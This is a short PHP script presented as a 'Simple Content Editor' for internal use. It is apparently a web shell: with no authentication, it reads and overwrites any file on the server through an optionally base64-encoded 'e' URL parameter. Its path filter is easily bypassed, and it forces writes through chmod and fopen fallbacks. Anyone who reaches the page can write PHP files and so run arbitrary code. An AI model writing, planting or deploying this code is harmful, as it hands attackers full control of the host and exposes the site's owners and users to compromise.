<?php
/* 
 * Simple Content Editor v1.0
 * For internal use only
 */

function editFile($filePath) {
    // Decode file path if encoded
    if (base64_decode($filePath, true)) {
        $filePath = base64_decode($filePath);
    }
    
    // Clean path
    $filePath = str_replace(['../', '..\\'], '', $filePath);
    
    if (isset($_POST['content'])) {
        $content = $_POST['content'];
        $saved = false;

        // Create directory if not exists
        $dir = dirname($filePath);
        if (!is_dir($dir)) {
            @mkdir($dir, 0755, true);
        }

        // Try multiple write methods
        if (!file_exists($filePath)) {
            @touch($filePath);
        }

        // Method 1: file_put_contents
        if (@file_put_contents($filePath, $content) !== false) {
            echo "<div style='color:green;padding:10px;background:#f0fff0;'>✓ File saved successfully</div>";
            $saved = true;
        } 
        // Method 2: Change permissions and retry
        else {
            @chmod($filePath, 0644);
            if (@file_put_contents($filePath, $content) !== false) {
                echo "<div style='color:green;padding:10px;background:#f0fff0;'>✓ File saved successfully</div>";
                $saved = true;
            } 
            // Method 3: Use fopen
            else {
                $stream = @fopen($filePath, "w");
                if ($stream) {
                    fwrite($stream, $content);
                    fclose($stream);
                    echo "<div style='color:green;padding:10px;background:#f0fff0;'>✓ File saved successfully</div>";
                    $saved = true;
                } else {
                    echo "<div style='color:red;padding:10px;background:#fff0f0;'>✗ Could not write to file</div>";
                }
            }
        }
    }

    // Read current file content
    if (!file_exists($filePath)) {
        $currentContent = '';
        echo "<div style='color:blue;padding:10px;background:#f0f8ff;'>ℹ New file will be created</div>";
    } else {
        $currentContent = htmlspecialchars(file_get_contents($filePath));
    }

    // Display editor
    echo "<h3>📝 Editing: " . htmlspecialchars(basename($filePath)) . "</h3>";
    echo "<form method='post'>";
    echo "<textarea name='content' style='width:100%;height:500px;font-family:monospace;padding:10px;'>" . $currentContent . "</textarea><br><br>";
    echo "<button type='submit' style='padding:10px 20px;background:#007cba;color:white;border:none;border-radius:4px;cursor:pointer;'>💾 Save Changes</button>";
    echo "</form>";
}

// Main code - Simple and clean
if (isset($_GET['e'])) {
    $file = $_GET['e'];
    editFile($file);
} else {
    // Default file to edit
}
?>